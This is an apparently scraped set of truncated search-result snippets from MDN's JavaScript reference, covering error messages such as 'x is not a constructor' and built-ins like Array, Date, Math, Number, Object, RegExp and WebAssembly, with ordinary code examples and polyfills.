Message TypeError: Object doesn't support this action (Edge) TypeError: "x" is not a constructor TypeError: Math is not a constructor TypeError: JSON is not a constructor TypeError: Symbol is not a constructor TypeError: Reflect is not a constructor TypeError: Intl is not a constructor TypeError: Atomics is not a constructor Error type TypeError What went wrong? There was an attempt to use an object or a variable as a constructor, but that object or variable is not a constructor. See constructor or the new operator for more information on what a constructor is. ...
...ent wrong? There was an attempt to use an object or a variable as a constructor, but that object or variable is not a constructor. See constructor or the new operator for more information on what a constructor is. There are many global objects, like String or Array, which are constructable using new. However, some global objects are not and their properties and methods are static. The following
JavaScript standard built-in objects are not a constructor: Math, JSON, Symbol, Reflect, Intl, Atomics. Generator functions cannot be used as constructors either. Examples Invalid cases var Car = 1; new Car(); // TypeError: Car is not a constructor new Math(); // TypeError: Math is not a constructor new Symbol(); // TypeError: Symbol is not a constructor function* f() {}; var obj = new f; // TypeErro...
TypeError: "x" is not a function - JavaScript
There are many built-in functions in need of a (callback) function. ...
...rt property or method {x} (Edge) TypeError: "x" is not a function Error type TypeError What went wrong? It attempted to call a value from a function, but the value is not actually a function. Some code expects you to provide a function, but that didn't happen. Maybe there is a typo in the function name? Maybe the object you are calling the method on does not have this function? For example,
JavaScript Objects have no map function, but the
JavaScript Array object does. There are many built-in functions in need of a (callback) function. You will have to provide a function in order to have these methods working properly: When working with Array or TypedArray objects: Array.prototype.every(), Array.prototype.some(), Array.prototype.forEach(), Array.prototype.map(), Array.prototype.filter...
TypeError: "x" is read-only - JavaScript
Message TypeError: Assignment to read-only properties is not allowed in strict mode (Edge) TypeError: "x" is read-only (Firefox) TypeError: 0 is read-only (Firefox) TypeError: Cannot assign to read only property 'x' of #<Object> (Chrome) TypeError: Cannot assign to read only property '0' of [object Array] (Chrome) Error type TypeError What went wrong? The global variable or object property that was assigned to is a read-only property. (Technically, it is a non-writable data property.) This error happens only in strict mode code. In non-strict code, the assignment is silently ignored. ...
...ct.defineProperty() or Object.freeze(). 'use strict'; var obj = Object.freeze({name: 'Elsa', score: 157}); obj.score = 0; // TypeError 'use strict'; Object.defineProperty(this, 'LUNG_COUNT', {value: 2, writable: false}); LUNG_COUNT = 3; // TypeError 'use strict'; var frozenArray = Object.freeze([0, 1, 2]); frozenArray[0]++; // TypeError There are also a few read-only properties built into
JavaScript. Maybe you tried to redefine a mathematical constant. 'use strict'; Math.PI = 4; // TypeError Sorry, you can't do that. The global variable undefined is also read-only, so you can't silence the infamous "undefined is not a function" error by doing this: 'use strict'; undefined = function() {}; // TypeError: "undefined" is read-only Valid cases 'use strict'; var obj = Object.freeze({name...
SyntaxError: redeclaration of formal parameter "x" - JavaScript
Examples Redeclared argument In this case, the variable "arg" redeclares the argument. ...
...(Edge) SyntaxError: redeclaration of formal parameter "x" (Firefox) SyntaxError: Identifier "x" has already been declared (Chrome) Error type SyntaxError What went wrong? The same variable name occurs as a function parameter and is then redeclared using a let assignment in a function body again. Redeclaring the same variable within the same function or block scope using let is not allowed in
JavaScript. Examples Redeclared argument In this case, the variable "arg" redeclares the argument. function f(arg) { let arg = 'foo'; } // SyntaxError: redeclaration of formal parameter "arg" If you want to change the value of "arg" in the function body, you can do so, but you do not need to declare the same variable again. In other words: you can omit the let keyword. If you want to create a new v...
InternalError: too much recursion - JavaScript
The
JavaScript exception "too much recursion" or "Maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case. Message Error: Out of stack space (Edge) InternalError: too much recursion (Firefox) RangeError: Maximum call stack size exceeded (Chrome) Error type InternalError. What went wrong? A function that calls itself is called a recursive function. Once a condition is met, the function stops calling itself. This is called a base case. In some ways, recursion is analogous to a loop. Both execute the same code multiple times, and both require a condition (to avoid an infinite loop, or rather, infinite recursion in this case). When there are too many function calls, or a function is missing a base case,
JavaScript will throw this err...
...When this happens, the setter function is triggered. set name(name){ this.name = name; // Recursive call } In this example when the setter is triggered, it is told to do the same thing again: to set the same property that it is meant to handle. This causes the function to call itself, again and again, making it infinitely recursive. This issue also appears if th...
TypeError: variable "x" redeclares argument - JavaScript
This error occurs as a warning in strict mode code only. In non-strict code, the redeclaration is silently ignored. Examples Invalid cases In this case, the variable "arg" redeclares the argument. ...
... as a function parameter and is then redeclared using a var assignment in a function body again. Message TypeError: variable "x" redeclares argument (Firefox) Error type TypeError warning in strict mode only. What went wrong? The same variable name occurs as a function parameter and is then redeclared using a var assignment in a function body again. This might be a naming conflict and thus
JavaScript warns about it. This error occurs as a warning in strict mode code only. In non-strict code, the redeclaration is silently ignored. Examples Invalid cases In this case, the variable "arg" redeclares the argument. 'use strict'; function f(arg) { var arg = 'foo'; } Valid cases To fix this warning, the var statement can just be omitted, because the variable exists already. In other cases,...
arguments.callee - JavaScript
(also called "anonymous functions"). Warning: The 5th edition of ECMAScript (ES5) forbids use of arguments.callee() in strict mode. Avoid using arguments.callee() by either giving function expressions a name or use a function declaration where a function must call itself. Why was arguments.callee removed from ES5 strict mode? (adapted from a Stack Overflow answer by olliej) Early versions of
JavaScript did not allow named function expressions, and for this reason you could not make a recursive function expression. For example, this syntax worked: function factorial (n) { return !(n > 1) ? 1 : factorial(n - 1) * n; } [1, 2, 3, 4, 5].map(factorial); but: [1, 2, 3, 4, 5].map(function(n) { return !(n > 1) ? 1 : /* what goes here? */ (n - 1) * n; }); did not. To get around this argumen...
...e major effect: it makes a large number of optimizations impossible, or much much more difficult. For example, if you cannot guarantee that a function f will not call an unknown function, it is not possible to inline f. Basically it means that any call site that may have been trivially inlinable accumulates a large number of guards: function f(a, b, c, d, e) { return a ? b * c : d * e; } If the
JavaScript interpreter cannot guarantee that all the provided arguments are numbers at the point that the call is made, it needs to either insert checks for all the arguments before the inlined code, or it cannot inline the function. Now in this particular case a smart interpreter should be able to rearrange the checks to be more optimal and not check any values that would not be used. However in many cases...
Array() constructor - JavaScript
The Array() constructor is used to create Array objects. Syntax [element0, element1, ..., elementN] new Array(element0, element1[, ...[, elementN]]) new Array(arrayLength) Parameters elementN A
JavaScript array is initialized with the given elements, except in the case where a single argument is passed to the Array constructor and that argument is a number (see the arrayLength parameter below). Note that this special case only applies to
JavaScript arrays created with the Array constructor, not array literals created with the bracket syntax. ...
...If the argument is any other number, a RangeError exception is thrown. ...
Array.prototype.find() - JavaScript
not visit any elements added to the array after the call to find begins. If an existing, yet-unvisited element of the array is changed by callback, its value passed to the callback will be the value at the time find visits that element's index. Elements that are deleted are still visited. Polyfill This method has been added to the ECMAScript 2015 specification and may not be available in all
JavaScript implementations yet. However, you can polyfill Array.prototype.find with the following snippet: // https://tc39.github.io/ecma262/#sec-array.prototype.find if (!Array.prototype.find) { Object.defineProperty(Array.prototype, 'find', { value: function(predicate) { // 1. Let O be ? ToObject(this value). if (this == null) { throw TypeError('"this" is null or not defined'); ...
...e, T, << kValue, k, O >>)). // d. If testResult is true, return kValue. var kValue = o[k]; if (predicate.call(thisArg, kValue, k, o)) { return kValue; } // e. Increase k by 1. k++; } // 7. Return undefined. return undefined; }, configurable: true, writable: true }); } If you need to support truly obsolete
JavaScript engines that don't support Object.defineProperty, it is best not to polyfill Array.prototype at all, as you cannot make it non-enumerable. Examples Find an object in an array by one of its properties const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; function isCherries(fruit) { return fruit.name === 'cherries'; } con...
DataView - JavaScript
licit control of how data is accessed, regardless of the executing computer's endianness. var littleEndian = (function() { var buffer = new ArrayBuffer(2); new DataView(buffer).setInt16(0, 256, true /* littleEndian */); // Int16Array uses the platform's endianness. return new Int16Array(buffer)[0] === 256; })(); console.log(littleEndian); // true or false 64-bit Integer Values Because
JavaScript does not currently include standard support for 64-bit integer values, DataView does not offer native 64-bit operations. As a workaround, you could implement your own getUint64() function to obtain a value with precision up to Number.MAX_SAFE_INTEGER, which could suffice for certain cases. function getUint64(dataview, byteOffset, littleEndian) { // split 64-bit number into two 32-bit (4-byte) ...
... left + 2**32*right : 2**32*left + right; if (!Number.isSafeInteger(combined)) console.warn(combined, 'exceeds MAX_SAFE_INTEGER. Precision may be lost'); return combined; } Alternatively, if you need full 64-bit range, you can create a BigInt. Further, although native BigInts are much faster than user-land library equivalents, BigInts will always be much slower than 32-bit integers in
JavaScript due to the nature of their variable size. const BigInt = window.BigInt, bigThirtyTwo = BigInt(32), bigZero = BigInt(0); function getUint64BigInt(dataview, byteOffset, littleEndian) { // split 64-bit number into two 32-bit (4-byte) parts const left = BigInt(dataview.getUint32(byteOffset|0, !!littleEndian)>>>0); const right = BigInt(dataview.getUint32((byteOffset|0) + 4|0, !!littleEndian)>>>...
Date() constructor - JavaScript
Date objects contain a Number that represents milliseconds since 1 January 1970 UTC. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax new Date() new Date(value) new Date(dateString) new Date(year, monthIndex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) Note: The only correct way to instantiate a new Date object is by using the new operator. If you simply call the Date object directly, such as now = Date(), the returned value is a string rather than a Date object. ...
...efault is 0 minutes past the hour. seconds Optional Integer value representing the second segment of a time. The default is 0 seconds past the minute. milliseconds Optional Integer value representing the millisecond segment of a time. The default is 0 milliseconds past the second. Examples Several ways to create a Date object The following examples show several ways to create
JavaScript dates: Note: Parsing of date strings with the Date constructor (and Date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. let today = new Date() let birthday = new Date('December 17, 1995 03:24:00') let birthday = new Date('1995-12-17T03:24:00') let birthday = new Date(1995, 11, 17) // the month is 0-indexed let birthday = new Date...
Function() constructor - JavaScript
ple is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax new Function([arg1 [, arg2 [, ...argN]] ,] functionBody) Parameters arg1, arg2, ... argN Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid
JavaScript identifier, or a list of such strings separated with a comma. For example: "x", "theValue"--or "x,theValue". functionBody A string containing the
JavaScript statements comprising the function definition. Description Function objects created with the Function constructor are parsed when the function is created. This is less efficient than declaring a function with a function expression or fun...
...e passed. Omitting an argument will result in the value of that parameter being undefined. Invoking the Function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. Examples Specifying arguments with the Function constructor The following code creates a Function object that takes two arguments. // Example can be run directly in your
JavaScript console // Create a function that takes two arguments, and returns the sum of those arguments const adder = new Function('a', 'b', 'return a + b'); // Call the function adder(2, 6); // 8 The arguments "a" and "b" are formal argument names that are used in the function body, "return a + b". Specifications Specification ECMAScript (ECMA-262)The definition of 'Function co...
Math.fround() - JavaScript
ct, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax var singleFloat = Math.fround(doubleFloat); Parameters doubleFloat A Number. If the parameter is of a different type, it will get converted to a number or to NaN if it cannot be converted. Return value The nearest 32-bit single precision float representation of the given number. Description
JavaScript uses 64-bit double floating-point numbers internally, which offer a very high precision. However, sometimes you may be working with 32-bit floating-point numbers, for example if you are reading values from a Float32Array. This can create confusion: Checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical. To solve this, Math.fround() can be...
...ffer a very high precision. However, sometimes you may be working with 32-bit floating-point numbers, for example if you are reading values from a Float32Array. This can create confusion: Checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical. To solve this, Math.fround() can be used to cast the 64-bit float to a 32-bit float. Internally,
JavaScript continues to treat the number as a 64-bit float, it just performs a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to 0. If the number is outside the range of a 32-bit float, Infinity or -Infinity is returned. Because fround() is a static method of Math, you always use it as Math.fround(), rather than as a method of a Math object you created (Math is not a ...
Math - JavaScript
It's not a function object. Math works with the Number type. It doesn't work with BigInt. Description Unlike many other global objects, Math is not a constructor. All properties and methods of Math are static. You refer to the constant pi as Math.PI and you call the sine function as Math.sin(x), where x is the method's argument. Constants are defined with the full precision of real numbers in
JavaScript. Note: Many Math functions have a precision that's implementation-dependent. This means that different browsers can give a different result. Even the same
JavaScript engine on a different OS or architecture can give different results! Static properties Math.E Euler's constant and the base of natural logarithms; approximately 2.718. Math.LN2 Natural logarithm of 2; approximately 0.693. ...
... function degToRad(degrees) { return degrees * (Math.PI / 180); }; function radToDeg(rad) { return rad / (Math.PI / 180); }; Calculating the height of an equalateral triangle If we want to calculate the height of an equalateral triangle, and we know its side length is 100, we can use the formulae length of the adjacent multiplied by the tangent of the angle is equal to the opposite. In
JavaScript, we can do this with the following: 50 * Math.tan(degToRad(60)). We use our degToRad() function to convert 60 degrees to radians, as Math.tan() expects an input value in radians. Returning a random integer between two bounds This can be achieved with a combination of Math.random() and Math.floor(): function random(min, max) { const num = Math.floor(Math.random() * (max - min + 1)) + min; ...
Number.MAX_SAFE_INTEGER - JavaScript
The Number.MAX_SAFE_INTEGER constant represents the maximum safe integer in
JavaScript (253 - 1). For larger integers, consider using BigInt. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of Number.MAX_SAFE_INTEGER Writable no Enumerable no Configurable no Description The MAX_SAFE_INTEGER constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). ...
.../mdn/interactive-examples and send us a pull request. Property attributes of Number.MAX_SAFE_INTEGER Writable no Enumerable no Configurable no Description The MAX_SAFE_INTEGER constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). The reasoning behind that number is that
JavaScript uses double-precision floating-point format numbers as specified in IEEE 754 and can only safely represent numbers between -(253 - 1) and 253 - 1. Safe in this context refers to the ability to represent integers exactly and to correctly compare them. For example, Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2 will evaluate to true, which is mathematically incorrect. See Number.isSaf...
Number.MIN_SAFE_INTEGER - JavaScript
The Number.MIN_SAFE_INTEGER constant represents the minimum safe integer in
JavaScript (-(253 - 1)). To represent integers smaller than this, consider using BigInt. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of Number.MIN_SAFE_INTEGER Writable no Enumerable no Configurable no Description The MIN_SAFE_INTEGER constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion). ...
...eractive-examples and send us a pull request. Property attributes of Number.MIN_SAFE_INTEGER Writable no Enumerable no Configurable no Description The MIN_SAFE_INTEGER constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion). The reasoning behind that number is that
JavaScript uses double-precision floating-point format numbers as specified in IEEE 754 and can only safely represent numbers between -(253 - 1) and 253 - 1. See Number.isSafeInteger() for more information. Because MIN_SAFE_INTEGER is a static property of Number, you always use it as Number.MIN_SAFE_INTEGER, rather than as a property of a Number object you created. Examples Using MIN_SAFE_INTEGER Numbe...
Number.MIN_VALUE - JavaScript
MIN_VALUE has a value of approximately 5e-324. ...
...o the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of Number.MIN_VALUE Writable no Enumerable no Configurable no Description The MIN_VALUE property is the number closest to 0, not the most negative number, that
JavaScript can represent. MIN_VALUE has a value of approximately 5e-324. Values smaller than MIN_VALUE ("underflow values") are converted to 0. Because MIN_VALUE is a static property of Number, you always use it as Number.MIN_VALUE, rather than as a property of a Number object you created. Examples Using MIN_VALUE The following code divides two numeric values. If the result is greater than or equal to ...
Number.isNaN() - JavaScript
uest. Syntax Number.isNaN(value) Parameters value The value to be tested for NaN. Return value true if the given value is NaN and its type is Number; otherwise, false. Description Due to both equality operators, == and ===, evaluating to false when checking if NaN is NaN, the function Number.isNaN() has become necessary. This situation is unlike all other possible value comparisons in
JavaScript. In comparison to the global isNaN() function, Number.isNaN() doesn't suffer the problem of forcefully converting the parameter to a number. This means it is now safe to pass values that would normally convert to NaN, but aren't actually the same value as NaN. This also means that only values of the type number, that are also NaN, return true. Polyfill The following works because NaN is the on...
...ison to the global isNaN() function, Number.isNaN() doesn't suffer the problem of forcefully converting the parameter to a number. This means it is now safe to pass values that would normally convert to NaN, but aren't actually the same value as NaN. This also means that only values of the type number, that are also NaN, return true. Polyfill The following works because NaN is the only value in
javascript which is not equal to itself. Number.isNaN = Number.isNaN || function isNaN(input) { return typeof input === 'number' && input !== input; } Examples Using isNaN Number.isNaN(NaN); // true Number.isNaN(Number.NaN); // true Number.isNaN(0 / 0); // true // e.g. these would have been true with global isNaN() Number.isNaN('NaN'); // false Number.isNaN(undefined); // false N...
Object.defineProperties() - JavaScript
is property descriptor may be changed and if the property may be deleted from the corresponding object. Defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. Defaults to false. A data descriptor also has the following optional keys: value The value associated with the property. Can be any valid
JavaScript value (number, object, function, etc). Defaults to undefined. writable true if and only if the value associated with the property may be changed with an assignment operator. Defaults to false. An accessor descriptor also has the following optional keys: get A function which serves as a getter for the property, or undefined if there is no getter. The function's return value will...
...tor. If a descriptor has both value or writable and get or set keys, an exception is thrown. Return value The object that was passed to the function. Polyfill Assuming a pristine execution environment with all names and properties referring to their initial values, Object.defineProperties is almost completely equivalent (note the comment in isCallable) to the following reimplementation in
JavaScript: function defineProperties(obj, properties) { function convertToDescriptor(desc) { function hasProperty(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } function isCallable(v) { // NB: modify as necessary if other values than functions are callable. return typeof v === 'function'; } if (typeof desc !== 'object' || desc === null) ...
Object.keys() - JavaScript
iption Object.keys() returns an array whose elements are strings corresponding to the enumerable properties found directly upon object. The ordering of the properties is the same as that given by looping over the properties of the object manually. ...
...DontEnumBug) { for (i = 0; i < dontEnumsLength; i++) { if (hasOwnProperty.call(obj, dontEnums[i])) { result.push(dontEnums[i]); } } } return result; }; }()); } Please note that the above code includes non-enumerable keys in IE7 (and maybe IE8), when passing in an object from a different window. For a simple Browser Polyfill, see
Javascript - Object.keys Browser Compatibility. Examples Using Object.keys // simple array const arr = ['a', 'b', 'c']; console.log(Object.keys(arr)); // console: ['0', '1', '2'] // array-like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(Object.keys(obj)); // console: ['0', '1', '2'] // array-like object with random key ordering const anObj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(Obje...
Object.prototype.__proto__ - JavaScript
The effects on the performance of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in obj.__proto__ = ... statements, but may extend to any code that has access to any object whose [[Prototype]] has been altered. If you care about performance you should avoid setting the [[Prototype]] of an object. Instead, create a new object with the desired [[Prototype]] using Object.create(). ...
...ption The __proto__ getter function exposes the value of the internal [[Prototype]] of an object. For objects created using an object literal, this value is Object.prototype. For objects created using array literals, this value is Array.prototype. For functions, this value is Function.prototype. For objects created using new fun, where fun is one of the built-in constructor functions provided by
JavaScript (Array, Boolean, Date, Number, Object, String, and so on -- including new constructors added as
JavaScript evolves), this value is always fun.prototype. For objects created using new fun, where fun is a function defined in a script, this value is the value of fun.prototype. (That is, if the constructor didn't return an other object explicitly, or the fun.prototype has been reassigned since the in...
Object.prototype.toSource() - JavaScript
e contents of an object. Overriding the toSource() method It is safe for objects to override the toSource() method. For example: function Person(name) { this.name = name; } Person.prototype.toSource = function Person_toSource() { return 'new Person(' + uneval(this.name) + ')'; }; console.log(new Person('Joe').toSource()); // ---> new Person("Joe") Built-in toSource() methods Each core
JavaScript type has its own toSource() method. These objects are: Array.prototype.toSource() -- Array object. Boolean.prototype.toSource() -- Boolean object. Date.prototype.toSource() -- Date object. Function.prototype.toSource() -- Function object. Number.prototype.toSource() -- Number object. RegExp.prototype.toSource() -- RegExp object. String.prototype.toSource() -- String object. Symbo...
...ructor or providing an anonymous function. Examples Using toSource() The following code defines the Dog object type and creates theDog, an object of type Dog: function Dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female'); Calling the toSource() method of theDog displays the
JavaScript source that defines the object: theDog.toSource(); // returns ({name:"Gabby", breed:"Lab", color:"chocolate", sex:"female"}) Specifications Not part of any standard. ...
Object.prototype.valueOf() - JavaScript
d in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax object.valueOf() Return value The primitive value of the specified object. A (unary) plus sign can sometimes be used as a shorthand for valueOf, e.g. in +new Number()). Also see Using unary plus. Description
JavaScript calls the valueOf method to convert an object to a primitive value. You rarely need to invoke the valueOf method yourself;
JavaScript automatically invokes it when encountering an object where a primitive value is expected. By default, the valueOf method is inherited by every object descended from Object. Every built-in core object overrides this method to return an appropriate value. If an obje...
...pose you have an object type MyNumberType and you want to create a valueOf method for it. The following code assigns a user-defined function to the object's valueOf method: MyNumberType.prototype.valueOf = function() { return customPrimitiveValue; }; With the preceding code in place, any time an object of type MyNumberType is used in a context where it is to be represented as a primitive value,
JavaScript automatically calls the function defined in the preceding code. An object's valueOf method is usually invoked by
JavaScript, but you can invoke it yourself as follows: myNumberType.valueOf() Note: Objects in string contexts convert via the toString() method, which is different from String objects converting to string primitives using valueOf. All objects have a string conversion, if only "[ob...
RegExp - JavaScript
Description Literal notation and constructor There are two ways to create a RegExp object: a literal notation and a constructor. The literal notation's parameters are enclosed between slashes and do not use quotation marks. The constructor function's parameters are not enclosed between slashes but do use quotation marks. ...
...normal string escape rules (preceding special characters with \ when included in a string) are necessary. For example, the following are equivalent: let re = /\w+/ let re = new RegExp('\\w+') Perl-like RegExp properties Note that several of the RegExp properties have both long and short (Perl-like) names. Both names always refer to the same value. (Perl is the programming language from which
JavaScript modeled its regular expressions.). See also deprecated RegExp properties. Constructor RegExp() Creates a new RegExp object. Static properties get RegExp[@@species] The constructor function that is used to create derived objects. RegExp.lastIndex The index at which to start the next match. Instance properties RegExp.prototype.flags A string that contains the flags of the RegExp ...
String.prototype.charCodeAt() - JavaScript
string. If index is not a number, it defaults to 0. Return value A number representing the UTF-16 code unit value of the character at the given index. If index is out of range, charCodeAt() returns NaN. Description Unicode code points range from 0 to 1114111 (0x10FFFF). The first 128 Unicode code points are a direct match of the ASCII character encoding. (For information on Unicode, see the
JavaScript Guide.) Note: charCodeAt() will always return a value that is less than 65536. This is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character. Because of this, in order to examine (or reproduce) the full character for individual character values of 65536 or greater, for such characters, it is necess...
... or greater, for such characters, it is necessary to retrieve not only charCodeAt(i), but also charCodeAt(i+1) (as if manipulating a string with two letters), or to use codePointAt(i) instead. See examples 2 and 3 (below). charCodeAt() returns NaN if the given index is less than 0, or if it is equal to or greater than the length of the string. Backward compatibility: In historic versions (like
JavaScript 1.2) the charCodeAt() method returns a number indicating the ISO-Latin-1 codeset value of the character at the given index. The ISO-Latin-1 codeset ranges from 0 to 255. The first 0 to 127 are a direct match of the ASCII character set. Examples Using charCodeAt() The following example returns 65, the Unicode value for A. 'ABC'.charCodeAt(0) // returns 65 Fixing charCodeAt() to handle non-B...
String.raw() - JavaScript
substitution values. templateString A template string, optionally with substitutions (${...}). Return value The raw string form of a given template string. Exceptions TypeError A TypeError is thrown if the first argument is not a well-formed object. Description In most cases, String.raw() is used with template strings. The first syntax mentioned above is only rarely used, because the
JavaScript engine will call this with proper arguments for you, (just like with other tag functions). String.raw() is the only built-in tag function of template strings. It works just like the default template function and performs concatenation. You can even re-implement it with normal
JavaScript code. Examples Using String.raw() String.raw`Hi\n${2+3}!`; // 'Hi\n5!', the character after 'Hi' // is not...
...in the output string. // You can confirm this by checking the .length property // of the string. let name = 'Bob'; String.raw`Hi\n${name}!`; // 'Hi\nBob!', substitutions are processed. // Normally you would not call String.raw() as a function, // but to simulate `foo${2 + 3}bar${'Java' + 'Script'}baz` you can do: String.raw({ raw: ['foo', 'bar', 'baz'] }, 2 + 3, 'Java' + 'Script'); // 'foo5bar
JavaScriptbaz' // Notice the first argument is an object with a 'raw' property, // whose value is an iterable representing the separated strings // in the template literal. // The rest of the arguments are the substitutions. // The first argument's 'raw' value can be any iterable, even a string! // For example, 'test' is treated as ['t', 'e', 's', 't']. // The following is equivalent to // `t${0}e${1}s${2}...
TypedArray.prototype.toString() - JavaScript
mples The TypedArray objects override the toString method of Object. For TypedArray objects, the toString method joins the array and returns one string containing each typed array element separated by commas. For example, the following code creates a typed array and uses toString to convert the array to a string. ...
...rray and uses toString to convert the array to a string. var numbers = new Uint8Array([2, 5, 8, 1, 4]) numbers.toString(); // "2,5,8,1,4"
JavaScript calls the toString method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation. Compatibility If a browser doesn't support the TypedArray.prototype.toString() method yet,
JavaScript will call the toString method of Object: var numbers = new Uint8Array([2, 5, 8, 1, 4]) numbers.toString(); // "[object Uint8Array]" Specifications Specification ECMAScript (ECMA-262)The definition of 'Array.prototype.toString' in that specification. ...
WebAssembly.Global() constructor - JavaScript
This allows dynamic linking of multiple modules. Syntax new WebAssembly.Global(descriptor, value); Parameters descriptor A GlobalDescriptor dictionary object, which contains two properties: value: A USVString representing the data type of the global. This can be one of i32, i64, f32, and f64. mutable: A boolean value that determines whether the global is mutable or not. By default, this is false. value The value the variable contains. ...
... instance.exports.getGlobal(), 0); global.value = 42; assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42); instance.exports.incGlobal(); assertEq("getting wasm-updated value from JS", global.value, 43); }); Note: You can see the example running live on GitHub; see also the source code. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'WebAssembly.Global() constructor' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewCh...
WebAssembly.Global - JavaScript
This allows dynamic linking of multiple modules. Constructor WebAssembly.Global() Creates a new Global object. Global instances All Global instances inherit from the Global() constructor's prototype object -- this can be modified to affect all Global instances. Instance properties Global.prototype.constructor Returns the function that created this object's instance. By default this is the WebAssembly.Global() constructor. ...
... instance.exports.getGlobal(), 0); global.value = 42; assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42); instance.exports.incGlobal(); assertEq("getting wasm-updated value from JS", global.value, 43); }); Note: You can see the example running live on GitHub; see also the source code. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'WebAssembly.Global()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for And...
WebAssembly.Memory - JavaScript
The WebAssembly.Memory object is a resizable ArrayBuffer or SharedArrayBuffer that holds the raw bytes of memory accessed by a WebAssembly Instance. A memory created by
JavaScript or in WebAssembly code will be accessible and mutable from both
JavaScript and WebAssembly. Constructor WebAssembly.Memory() Creates a new Memory object. Instance properties Memory.prototype.buffer An accessor property that returns the buffer contained in the memory. Instance methods Memory.prototype.grow() Increases the size of the memory instance by a specified number of WebAssembly pages (each one is 64KB in size). Examples Creating a new Memory object There are two ways to get a WebAssembly.Memory object. The first way is to construct it from
JavaScript. The following example creates a new WebAss...
...sole.log(sum); }); Creating a shared memory By default, WebAssembly memories are unshared. You can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new WebAssembly.Memory({initial:10, maximum:100, shared: true}); This memory's buffer property will return a SharedArrayBuffer. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'Memory' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox fo...
WebAssembly.Table.prototype.get() - JavaScript
Exceptions If index is greater than or equal to Table.prototype.length, a RangeError is thrown. ...
...stance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); Note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) -- it is a function rather than a simple value. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'get()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox for...
WebAssembly.Table.prototype.set() - JavaScript
Return value Void. ...
...Object) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); Note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . This example shows that we're creating and accessing the table from
JavaScript, but the same table is visible and callable inside the wasm instance too. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'set()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-...
WebAssembly.Table - JavaScript
Note: Tables can currently only store function references, but this will likely be expanded in the future. Constructor WebAssembly.Table() Creates a new Table object. Instance properties Table.prototype.length Returns the length of the table, i.e. the number of elements. Instance methods Table.prototype.get() Accessor function -- gets the element stored at a given index. Table.prototype.grow() Increases the size of the Table instance by a specified number of elements. ...
...Object) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); Note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . This example shows that we're creating and accessing the table from
JavaScript, but the same table is visible and callable inside the wasm instance too. Specifications Specification WebAssembly
